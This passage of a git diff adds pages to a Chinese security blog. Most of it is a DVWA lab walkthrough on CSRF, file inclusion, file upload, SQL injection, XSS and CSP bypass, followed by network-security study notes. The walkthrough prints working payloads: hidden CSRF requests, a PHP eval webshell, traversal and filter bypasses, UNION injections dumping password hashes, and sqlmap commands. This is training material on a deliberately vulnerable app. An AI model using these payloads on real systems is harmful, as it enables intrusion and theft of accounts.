
+

短链接在线生成:http://tool.chinaz.com/tools/dwz.aspx

+

password_new=123&password_conf=123&Change=Change#

+

可以伪装成恶意网页,进行欺骗攻击

+
1
2
3
4
<h1>404<h1>

<a href="http://49.232.78.252:81/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#">W3School</a>
<h2>file not found.<h2>
+ +

image-20220122223437202

+

受害者点开链接之后,密码已被修改。

+

网上还有一种攻击方式:

+
1
2
<img src="http://192.168.50.100/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=
hack&Change=Change#" border="0" style="display:none;"/>
+ +

打开网页文件即可,不用点击链接。但是已经多次实践未成功。

+

2.medium

+

image-20220122214135985

+
1
2
3
4
5
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
+ +

对referer进行了检查

+
1
2
3
4
5
6
7
8
9
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 49.232.78.252:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://49.232.78.252:81/vulnerabilities/csrf/
Cookie: PHPSESSID=9mjbjlhio6pup4mq4ne932fbo2; security=medium
Upgrade-Insecure-Requests: 1
+ +

添加referer之后便可成功修改密码

+

image-20220122220656993

+

或者对referer根据判断条件进行伪造

+

3.high

+
1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change&user_token=367c7e82e1c3e847203981e6d36ced78#
+ +

在url后面添加了token

+

通过XSS弹出token

+
1
2
3
<img src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
或者
<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
+ +

image-20220122224913629

+

在URL后面加上通过XSS窃取的token,即可攻击成功。

+

文件包含

1.low

+

image-20220123153556747

+
1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
+ +

image-20220123154324075

+

可以直接读取phpinfo

+

本地文件包含:

+
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\\wamp\\www\\DVWA\\phpinfo.php
+ +

远程文件包含:

+
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1//DVWA//about.php
+ +

也可以通过php协议读取。

+

image-20220123155108903

+

2.medium

+

对输入进行了验证,对不法字符进行替换。

+
1
2
3
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
+ +

str_replace函数是不安全的,可以采用双写进行绕过。

+
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://127.0.0.1//123.txt
+ +
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=....//....//....//123.txt
+ +
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././123.txt
+ +

3.high

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
+ +
1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D://wamp//install.txt
+ +

payload如下:

+

新建文件123.txt

+
1
2
3
4
5
<?php
phpinfo();
?>
hello world
@@@@@
+ +

image-20220123200007635

+

文件上传

1.low

+

无任何限制,可直接上传文件

+

但是对文件大小做了限制,可以在前端进行修改。

+

上传一句话木马,然后用get传参进行攻击。

+
1
http://127.0.0.1/DVWA/hackable/uploads/cmd.php?cmd=system(%22dir%22);
+ + + +

2.medium

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>
+ +

对文件类型进行了限制,只能上传jpeg/PNG.

+

可以通过修改后缀名进行绕过

+

首先写一句话木马

+
1
2
3
<?php
@eval($_REQUEST['cmd']);
?>
+ +

修改文件名为:cmd.php.jpeg或者cmd.jpeg

+

然后通过burpsuite进行抓包,修改文件名,并进行重放。即可上传成功。修改为php后缀。

+

image-20220123234346994

+

可以看到,上传成功

+

image-20220123234449958

+

然后用蚁剑连接即可。

+

拿下!

+

image-20220123234540979

+

也可以直接通过get传参。

+

image-20220123235016536

+

image-20220123235708181

+

3.high

+

或者修改文件头为:GIF89

+

制作图片马,进行上传。

+

命令:

+

image-20220124001307489

+

image-20220124000341406

+

然后利用远程文件包含漏洞。或者“命令注入漏洞”。

+

image-20220124001628374

+

不安全验证码

这里需要Google API,实验环境不具备。

+

本质上来说,是利用验证码检测的逻辑漏洞,通过修改参数,进行绕过。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
+ + + +

SQL注入

1.low

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
+ +

输入:1’ and 1=1

+

报错:

+
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
+ +

输入:1’ and 1=1 #

+

image-20220124213648935

+

判断字段长度

+

1’ order by 1 #

+

输入3,出现报错。

+

说明只有两个字段。

+

判断回显:1’ union select 1,2 #

+

然后代入查询

+

image-20220124220733662

+

获取表:

+
1
1' union select 1,table_name from information_schema.tables where table_schema='dvwa
+ +

image-20220124221050252

+

如果表比较多:

+
1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa
+ +

然后查询字段:

+
1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
+ +

image-20220124221524714

+
1
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #
+ +

image-20220124221846909

+

MD5解密即可:

+

image-20220124221948385

+

image-20220126190404257

+

也可以通过sqlmap进行注入。

+
1
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=2skes96bbgh4hn8js60vknurp1" -D dvwa -T users --columns
+ +

image-20220126191946435

+

2.medium

+

image-20220124231311544

+

不能自己输入数据

+

image-20220124224410909

+

直接用burpsuite抓包

+

image-20220124224442044

+

id=1 or 1=1#&Submit=Submit

+

image-20220124224747335

+

image-20220124224948257

+

然后按照Low级别进行注入即可。

+

image-20220124230216520

+

这里对单引号进行了转义,可以用16进制或者Mysql函数进行绕过。

+

image-20220124230508389

+
1
2
s='users'.encode('utf-8')
print(s.hex())
+ +

image-20220124231444083

+

也可以通过hackbar提交POST

+

先通过BP抓包,保存为文件 ,然后用sqlmap进行注入。

+

3.high

+

在新的一个页面进行查询,防止常规sqlmap注入。

+

image-20220124233237791

+

在sqlmap中,可以用second-url指定参数,然后进行注入。

+

盲注

1.low

+

image-20220126214941988

+

image-20220126221926938

+

存在字符型注入。

+

然后判断数据库名称长度:

+
1
2
3
4
1' and length(database())=1#
1' and length(database())=2#
1' and length(database())=3#
1' and length(database())=4# 存在
+ +

然后逐字符进行判断:

+
1
1' and ascii(substr(database(),1,1))<122# 可使用二分法
+ +

也可以使用时间注入的方法:

+
1
2
1'and sleep(3)#  有延迟
1 and sleep(3)# 无延迟
+ +
1
1' and if(ascii(substr(database(),1,1))<120,sleep(5),1)#
+ +

2.medium

+

跟前一模块一样,先burpsuite抓包,再进行注入。

+

3.high

+

跟前一模块相同。

+

weak Session IDs

1.low

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
+ +

image-20220127212611823

+

每按一次,session_id+1,因此可以猜解。

+

2.medium

+
1
2
3
4
5
6
7
8
9
 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
+ +

cookie的值是系统当前时间。

+

image-20220127213037481

+

3.high

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>
+ + + +

XSS

1.low

+

无任何过滤,直接XSS,<script>alert(1)</script>

+

2.medium

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>
+ +

双写绕过:

+
1
<scrip<script>t>alert(/xss/)</script>
+ +

大小写绕过:

+
1
<Script>alert(/xss/)</script>
+ +

3.high

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>
+ +

过滤了’script’,可以用其他标签绕过

+
1
<img src="" onerror=alert(1)>
+ + + +

CSP绕过

1.low

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

header($headerCSP);

# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
+ +

image-20220204095601218

+

打开给定的网站

+

image-20220204095512846写入一段Js代码

+

image-20220204095953637

+

image-20220204095936972

+

2.medium

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
+ +

输入:

+
1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
+ +

payload: <script src="source/jsonp.php?callback=alert('1');"></script>

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/01/21/DVWA/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2022/02/03/network/index.html b/2022/02/03/network/index.html new file mode 100644 index 000000000..938849a52 --- /dev/null +++ b/2022/02/03/network/index.html @@ -0,0 +1,570 @@ +network-security学习笔记 | h4m5t's Blog + + + + + + + + + + + + +

network-security学习笔记

第一章:网络安全综述

网络安全是建立在密码学以及协议设
计的基础上的

+

网络安全的主要任务:

+
    +
  • 保障网络与系统 安全、可靠、高效、可控、持续地运行和被访问。
  • +
  • 保障信息 机密、完整、不可否认、可认证地传输和使用。
  • +
+

ISO-OSI模型。

+

TCP/IP模型

+

image-20210913194224992

+

X.800

+

用一种或多种安全机制来实现安全服务,安全服务
致力于抵御安全攻击。

+

主动攻击:

+
    +
  • 伪装
  • +
  • 重放
  • +
  • 篡改
  • +
  • 拒绝服务
  • +
+

被动攻击:

+
    +
  • 窃听
  • +
  • 流量分析
  • +
+

image-20210913194643371

+

image-20210913194651098

+

第二章:公钥基础设施PKI

1.公钥基础设施:PKI是一个用非对称密码算法原理和技术来实现并提供安全服务的具有通用性的安全基础设施。是一种遵循标准的利用公钥加密技术为电子商务的开展提供安全基础平台的技术和规范。能够为所有网络应用提供采用加密和数字签名等密码服务所需要的密钥和证书管理

+

2.功能(为什么需要PKI)

+

对可信第三方的需要(CA)
电子政务、电子商务对信息传输的安全需求,统一标准
在收发双方建立信任关系,提供身份认证、数字签名、加密等安全服务
收发双方不需要事先共享密钥,通过公钥加密传输会话密钥

+

3.证书的基本结构

+image-20210913200921714 + + + +

4.组成

+image-20210913201019930 + + + +

5.密钥备份和恢复系统:

+
    +
  • 签名密钥对:签名私钥相当于日常生活中的印章效力,为保证其唯一性、抗
    否认性,签名私钥不作备份。签名密钥的生命期较长。
  • +
  • 加密密钥对:加密密钥通常用于分发会话密钥,为防止密钥丢失时无法解密
    数据,解密密钥应进行备份。这种密钥应频繁更换。
  • +
+

6.交叉认证:

+

多个PKI独立地运行,相互之间应建立信任关系

+

对等CA互相签发

+

7.PKI服务

+
    +
  • 认证
  • +
  • 完整性
  • +
  • 保密性
  • +
  • 不可否认性服务
  • +
  • 公证服务
  • +
+

8.常用的密码技术

+

image-20210913200849982

+

机密性:数据加密(数字信封)

+

信息发送端用接收端的公钥,将一个通信密钥(即对称密钥)给予加密,生成一个数字信封。接收端用自己的私钥打开数字信封,获取该对称密钥SK,用它来解读收到的信息。

+

身份认证:数字签名

+

对待发的数据首先生成一段数据摘要,再采用己方私钥基于非对称加密算法进行加密,结果附在原文上一起发送,接受方对其进行验证,判断原文真伪。这种数字签名适用于对大文件的处理,对于那些小文件的数据签名,则不预先做数据摘要,而直接将原文进行非对称加密处理。

+

image-20210913203234717

+

完整性:数字签名+MAC

+

不可否认性:数字签名+时间戳

+

由于非对称密码的运算复杂、加/解密速度慢,因此信息的加密采用对称密码
算法,其会话密钥的分发采用非对称密码算法,即采用收方的公钥对会话密
钥进行加密。

+

报文检验码(消息认证码MAC)

+

9.PKI功能操作

+

image-20210913203710477

+

初始化

+
    +
  • 终端实体注册
  • +
  • 密钥对产生(用户产生,CA产生,其他可信第三方产生)
  • +
  • 证书创建
  • +
  • 证书分发
  • +
  • 密钥备份
  • +
+

10.生命周期

+
    +
  • 证书获取
  • +
  • 证书验证——确定一个证书的有效性
  • +
  • 密钥恢复——对终端用户因为某种原因而丢失的加密密钥可以恢复,从CA或信任第三方处恢复
  • +
  • 密钥更新——当一个合法的密钥对将过期时,进行新的公/私钥的自动产生和相应证书的颁发
  • +
+image-20210913205553051 + + + + + +

11.信任CA结构

+
    +
  • 层次模型
  • +
  • 分布式信任结构模型
  • +
  • 桥式结构
  • +
  • 混合结构
  • +
+

层次模型:

+

image-20210913205835921

+

分布式模型:

+

image-20210913210007417

+

12.证书链

+

image-20210913205905995

+

image-20210913210043066

+

13.X.509

+

为了解决X.500目录中的身份鉴别和访问控制问题而设计的。同时本身也采用目录的形式进行管理和访问。

+

14.主要内容

+

image-20210913210603513

+

15.CA

+

PKI核心实体认证机构CA,为各个实体颁发电子证书,对实体身份信息和相应公钥数据进行数字签名,用以捆绑该实体的公钥和身份,以证明各实体在网上身份的真实性;并负责在交易中检验和管理证书.

+

功能

+
    +
  • 证书申请
  • +
  • 证书审批
  • +
  • 证书颁发
  • +
  • 证书撤销
  • +
  • 证书更新
  • +
  • 证书废止列表管理
  • +
  • 证书的归档
  • +
  • CA自身的维护管理
  • +
  • CA自身密钥管理
  • +
+

第三章:IPSec-AH和ESP

1.IPv4和IPv6

+image-20210914224817924 + + + +

2.安全组合SA

+

为使通信双方的认证/加密算法及其参数、密钥的一致,相互间建立的联系被称为安全组合或安全关联(Security Association)

+

SA是单向的,在双向通信时要建立两个SA

+

安全关联数据库(SAD)

+

安全策略数据库(SPD)

+

SA由一个三元组唯一地标识,该三元组为安全参数索引SPI、一个
用于输出处理的目的IP地址和协议(如AH或ESP)

+

3.认证头标AH

+
    +
  • AH协议提供无连接的完整性、数据源认证和抗重放保护服务
  • +
  • 不提供保密性服务
  • +
  • AH使用消息认证码(MAC)对IP进行认证
  • +
+

image-20210915000523376

+

序列号的使用:防止重放。

+

认证头标:完整性校验。

+

AH外出处理和进入处理

+

4.封装安全载荷ESP

+
    +
  • ESP提供数据保密、抗重播服务、无连接完整
    性(可选)
  • +
  • ESP大都采用对称密码体制加密数据
  • +
  • ESP使用消息认证码(MAC)提供认证服务
  • +
+

image-20210915001552673

+

填充的目的:

+
    +
  • 加密算法要求明文为某个数目字节的整数倍;
  • +
  • 32位对齐;
  • +
  • 隐藏实际载荷长度,提供流量保密性
  • +
+

ESP外出处理,进入处理。

+

5.传输模式和隧道模式

+

image-20210915003245428

+

6.IPsec和NAT

+

IPsec优点:

+
    +
  • 对边界所有流量强制实现安全性,内部网络无需关注开销;
  • +
  • 对上层协议、终端用户透明、
  • +
  • 构建安全的虚拟专用网
  • +
+

具有AH头标或ESP头标的的IP分组不能穿越NAT和NATPT

+

7.IPSec隧道模式的应用-VPN

+

VPN 的种类、功能

+

8.IPsec的实现

+

IPSec VPN 的处理流程

+

第四章:IPSec-IKE

因特网密钥交换协议,是一个以受保护的方式动态协商IPsec SA的协议。

+

功能:使用某种长期密钥进行双向认证并建立会话密钥

+

主模式,野蛮模式。

+

IKEv1, IKEv2

+

第五章:SSL/TLS基本协议

SSL (Secure Socket Layer)是一种在TCP协议之上为两个端实体(End Entity)之间提供安全通道的协议。

+

具有保护传输数据以及识别通信实体的功能。安全通道是透明的,独立于应用层;传输层采用TCP,提供可靠业务

+

SSL功能:

+
    +
  • 客户对服务器的身份认证
  • +
  • 服务器对客户的身份认证
  • +
  • 建立服务器与客户之间安全的数据通道
  • +
+

SSL工作原理:

+
    +
  • 采用握手协议建立客户与服务器之间的安全通道,该协议包括双方的相互认证,交换密钥参数
  • +
  • 采用告警协议向对端指示其安全错误
  • +
  • 采用改变密码规格协议告知改变密码参数
  • +
  • 采用记录协议封装以上三种协议或应用层数据
  • +
+

第六章:防火墙与NAT

1.定义 防火墙是位于两个(或多个)网络间,实施网间访问控制的一组组件的集合

+

防火墙 = 硬件 + 软件 + 控制策略

+

设计目标:

+
    +
  • 内部和外部之间的所有网络数据流必须经过防火墙;
  • +
  • 只有符合安全政策的数据流才能通过防火墙;
  • +
  • 防火墙自身能抗攻击;
  • +
+

防火墙的必要性:

+
    +
  • 保护内部不受来自Internet的攻击
  • +
  • 创建安全域
  • +
  • 强化机构安全策略
  • +
+

防火墙的要求(两个要求存在矛盾性):

+
    +
  • 保障内部网安全
  • +
  • 保证内部网同外部网的连通
  • +
+

2.分类

+

包过滤型防火墙

+

针对包过滤型防火墙的攻击

+

状态检测型防火墙(参见百度百科)

+

状态检测防火墙在网络层有一个检查引擎截获数据包并抽取出与应用层状态有关的信息,并以此为依据决定对该连接是接受还是拒绝。

+

应用级网关型防火墙

+

代理服务型防火墙

+

复合型防火墙

+

安全缺省策略:

+
    +
  • 一切未被禁止的就是允许的

    +
  • +
  • 一切未被允许的就是禁止的(RFC2979推荐)

    +
  • +
+

3.功能

+
    +
  • 访问控制:隔断、过滤、代理
  • +
  • 加密
  • +
  • 授权认证
  • +
  • 地址翻译(NAT)
  • +
  • VPN
  • +
  • 负载均衡
  • +
  • 内容安全:病毒扫描(特征码)、URL扫描、HTTP过滤
  • +
  • 日志记帐、审计报警
  • +
+

4.NAT 基本原理、作用

+

Network Address Translation

+

NAT技术可以在路由器(边界)、防火墙上实现内外地址的翻译工作

+

类型:

+
    +
  • 源网络地址转换(Source NAT,缩写为SNAT),即IP伪装(masquerade)
  • +
  • 目的网络地址转换(Destination NAT,缩写为DNAT)
  • +
+

作用:

+

SNAT

+
    +
  • 复用内部的全局地址,解缓IP地址不足的压力
  • +
  • 向外部网络隐藏内部网络的IP地址
  • +
+

DNAT

+
    +
  • 在实现SNAT的环境下进行有效的服务访问
  • +
  • 流量均衡
  • +
+

NAT工作原理:

+

SNAT工作原理

+

实现方式:

+
    +
  • 静态NAT(一一对应)
  • +
  • 动态NAT(多对多)
  • +
  • 过载(一对多)
  • +
+

第七章:虚拟专用网VPN

所需技术:

+
    +
  • 隧道技术
  • +
  • 加解密技术
  • +
  • 密钥管理技术
  • +
  • 认证技术
  • +
  • 访问控制
  • +
+

分类:

+image-20210916203559024 + +

IPSec VPN

+
    +
  • AH 协议提供信息源验证和完整性保证;
  • +
  • ESP 协议提供信息源验证、机密性和完整性保证;
  • +
  • IKE提供密钥协商
  • +
+

第八章:应用层安全协议

电子邮件安全协议:

+
    +
  • PEM
  • +
  • S/MIME
  • +
  • PGP
  • +
  • SMTP
  • +
+

image-20210916204440621

+

签名、压缩、加密

+

若超过标准长度,则PGP自动对报文分段,接收端再重组。

+

PGP虽然采用公钥密码体系,但不是基于PKI证书体系

+

S/MIME使用X.509证书,它的密钥管理方案介于严格的X.509证书层次结构和PGP信任网之间

+

SSH

+

HTTPS((http over SSL)

+

安全电子交易协议SET(Secure Electronic Transaction)

+

SET提供了消费者、商家和银行之间的认证,确保了网上交易数据的保密性,数据的完整性以及交易的不可抵赖性。

+

SET采用公钥密码体制,遵循X.509数字证书标准

+

双重数字签名

+

第九章:无线局域网安全

1.无线网络的分类

+
    +
  • 无线广域网(WWAN)
  • +
  • 无线城域网(WMAN)
  • +
  • 无线局域网(WLAN)Wireless Local Area Network
  • +
  • 无线个人网(WPAN)
  • +
+

2.WLAN建立的方式

+
    +
  • Ad-hoc Mode
  • +
  • Infrastructure Mode
  • +
+

3.WLAN的安全需求

+

WLAN安全机制

+
    +
  • 用户认证
  • +
  • 用户授权
  • +
  • 数据安全
  • +
+

802.11 的安全机制

+
    +
  • 身份认证
  • +
  • 数据机密性
  • +
  • 数据完整性
  • +
+

WEP协议(有线等效保密协议)

+

功能:访问控制,数据保密性

+

802.11的安全增强

+image-20210917091147265 + +image-20210917092310657 + +

其他

安全机制实现安全服务,安全服务抵御安全攻击。

+image-20211217161559825 + +

防火墙设计目标:

+
    +
  • 内部和外部之间的所有网络数据流必须经过防火墙;
  • +
  • 只有符合安全政策的数据流才能通过防火墙;
  • +
  • 防火墙自身能抗攻击;
  • +
+

防火墙的控制能力:

+
    +
  • 服务控制
  • +
  • 方向控制
  • +
  • 用户控制
  • +
  • 行为控制
  • +
+

包过滤防火墙在(网络层)上进行检测,在(路由器)上实现。

+image-20211219145112895 + +

IKE的功能:使用某种长期密钥进行双向认证并建立会话密钥

+

IKE是一个是一个以受保护的方式动态协商IPsec SA的协议

+image-20211219154048173 + +image-20211219160229356 + +

选择符。

+

image-20211219161713558

+

电子邮件安全协议

+
    +
  • PEM
  • +
  • S/MIME
  • +
  • PGP
  • +
+

image-20211219165020483

+

image-20211219181615499

+image-20211219184746390 + +image-20211219190204120 + +

image-20211219191438417

+image-20211219200652506 + +

WEP:有线等效保密协议

+

WEP功能:

+
    +
  • 访问控制
  • +
  • 数据保密性
  • +
+image-20211220155923021 + +

image-20211220163158572

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/02/03/network/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2022/02/13/rsa/index.html b/2022/02/13/rsa/index.html new file mode 100644 index 000000000..e9033005f --- /dev/null +++ b/2022/02/13/rsa/index.html @@ -0,0 +1,195 @@ +Attacks on the RSA Cryptosystem | h4m5t's Blog + + + + + + + + + + + + +

Attacks on the RSA Cryptosystem

+

《Twenty Years of Attacks on the RSA Cryptosystem》阅读笔记

+
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/02/13/rsa/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/02/17/bwapp/index.html b/2022/02/17/bwapp/index.html new file mode 100644 index 000000000..3dc1cbc19 --- /dev/null +++ b/2022/02/17/bwapp/index.html @@ -0,0 +1,243 @@ +bWAPP靶场记录 | h4m5t's Blog + + + + + + + + + + + + +

bWAPP靶场记录

+

